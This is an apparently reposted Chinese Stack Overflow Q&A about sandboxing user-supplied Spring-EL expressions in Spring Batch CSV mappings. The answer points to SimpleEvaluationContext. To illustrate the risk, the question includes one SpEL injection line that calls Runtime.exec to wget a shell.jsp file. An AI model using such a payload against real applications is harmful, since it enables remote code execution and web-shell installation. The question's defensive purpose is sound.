gpt4 book ai didi

spring - Spring-EL 表达式可以在沙箱中执行吗?

转载 作者:行者123 更新时间:2023-12-05 04:03:45 25 4
gpt4 key购买 nike

我正在使用 Spring-EL 创建动态 csv 字段到类字段的映射,用于不同的 Spring-Batch 导入作业。 (不同的输入文件,相同的输出类)。这工作得很好,但想法是用户必须能够创建这样的映射配置。

问题是 Spring-EL 表达式不是在一种沙箱中执行的,因此很容易注入(inject)恶意代码。例如:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

我的问题是,如何在某种沙箱中运行 Spring-EL 或限制对一组特定方法/类的访问?我找不到与此主题相关的任何内容。也许 Spring-EL 不是这项工作的正确选择。

我尝试实现的示例:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)

最佳答案

SimpleEvaluationContext 旨在减少应用程序漏洞。

参见 https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context了解更多信息:

SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.

关于spring - Spring-EL 表达式可以在沙箱中执行吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53377386/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com